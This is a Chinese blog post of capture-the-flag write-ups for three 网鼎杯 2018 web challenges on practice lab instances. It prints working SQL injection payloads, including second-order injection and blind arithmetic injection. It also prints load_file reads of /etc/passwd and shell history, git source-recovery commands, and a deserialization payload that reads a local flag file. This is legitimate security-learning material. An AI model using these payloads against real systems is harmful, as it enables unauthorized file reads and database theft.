网鼎杯2018
[网鼎杯 2018]Comment
随便发帖发现进入后台,告诉了用户名和密码,只不过后三位需要爆破
由于前面是名字所以直接猜测是数字
1 | import requests |
爆破出来是666
登录之后发现发帖会有个回显,可能是二次注入
1 | githacker --url http://97f3bfa3-d408-4ae9-b1ac-27b821dd8c55.node5.buuoj.cn:81/.git/ --output-folder './test' |
拿到源码发现没啥用
1 |
|
发现不全,可以在当前目录下进行
1 | git log --reflog |
然后就挨着尝试这个commit
(一个新操作,之前从来没接触到)
1 | git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c |
1 |
|
终于到手了,这里很容易看出来是个sql注入,但是有个函数不知道怎么绕过,测试一下
1 | 返回需要在转义字符之前添加反斜线的字符串。这些字符是: |
由于分行这里使用/*
进行注释那么再放入sql语句的话就会是下面这样
1 | '||1=1/* |
那么注入原先的段子中就还需要加,
1 | ',content=(user()),/* |
同时还需要闭合来注释整段内容
也就是payload
是这样子
可以看到成功注入了,并且拥有root
权限
1 | ',content=(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),/* |
我感觉不对劲了,换个表也没用,那么这里我们需要知道的是
查数据库的数据不需要root权限,而使用load_file读取文件内容需要root权限
我们尝试读取文件
1 | ',content=(load_file("/etc/passwd")),/* |
www
在/home/www
使用了/bin/bash
那么查看历史命令
1 | ',content=(load_file("/home/www/.bash_history")),/* |
也就是说我们去读取一下.DS_Store
可能有关键信息
1 | ',content=(load_file("/tmp/html/.DS_Store")),/* |
进行hex
编码再看
1 | ',content=(hex(load_file("/tmp/html/.DS_Store"))),/* |
16进制转字符发现
flag_8946e1ff1ee3e40f.php
1 | ',content=(hex(load_file("./flag_8946e1ff1ee3e40f.php"))),/* |
但是这里有个疑问,是一定要使用绝对路径嘛,查阅一下
- 权限:
- 使用
LOAD_FILE()
函数需要服务器用户具有FILE
特权。可以通过GRANT FILE ON *.* TO 'username'@'localhost';
授予权限。
- 使用
- 路径:
- 文件路径必须是服务器文件系统上的绝对路径。
- MySQL 服务器必须有权限读取该文件。
- 安全:
LOAD_FILE()
可能带来安全风险,因为它允许访问服务器文件系统。因此,在生产环境中应谨慎使用。
- 性能:
- 如果文件很大,使用
LOAD_FILE()
可能会影响性能,因为它会一次性加载整个文件的内容。
- 如果文件很大,使用
确实是需要绝对路径的
[网鼎杯 2018]Fakebook
先注册一个账号,发现进入之后查看源码能够找到注入点
1 | http://fdd3faa3-d57e-4d7d-adb8-a45953fc645c.node5.buuoj.cn:81/view.php?no=-1/**/union/**/select/**/1,2,3,4--+ |
当然还可以这样子继续查表了
1 | http://fdd3faa3-d57e-4d7d-adb8-a45953fc645c.node5.buuoj.cn:81/view.php?no=-1/**/union/**/select/**/1,(select(group_concat(schema_name))from(information_schema.schemata)),3,4--+ |
到这里卡着了,这个序列化字符到底有啥用,看来应该是有文件可以用
访问/robots.txt
得到/user.php.bak
1 |
|
这个文件乍一看以为是要打ssrf其实只是绕过就可以读取文件了
1 | http://fdd3faa3-d57e-4d7d-adb8-a45953fc645c.node5.buuoj.cn:81/view.php?no=-1/**/union/**/select/**/1,3,4,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+ |
也就是说只有放在最后才能正常反序列化
[网鼎杯2018]Unfinish
扫描一下,其实不用扫应该也能知道
登录注册之后感觉这个地方,奇怪,试试能不能注入
最后尝试了一下绕过的东西还挺多的诶,新姿势
1 | select '0'+ascii(substr(database(),1,1)); |
成功查询了的,这里我们把后面的闭合即可注入
1 | 0'+ascii(substr((database()) from 1 for 1))+'0; |
成功了诶,那写个脚本吧
但是我测试的时候发现这个脚本将会非常麻烦,因为要注册账号而且每次都会登录所以准确来说应该是查出一波数据就需要刷一下靶机
1 | import requests |
所以直接盲猜表名为flag
- Title: 网鼎杯2018
- Author: baozongwi
- Created at : 2024-08-21 09:45:06
- Updated at : 2024-10-04 16:34:21
- Link: https://baozongwi.xyz/2024/08/21/网鼎杯2018/
- License: This work is licensed under CC BY-NC-SA 4.0.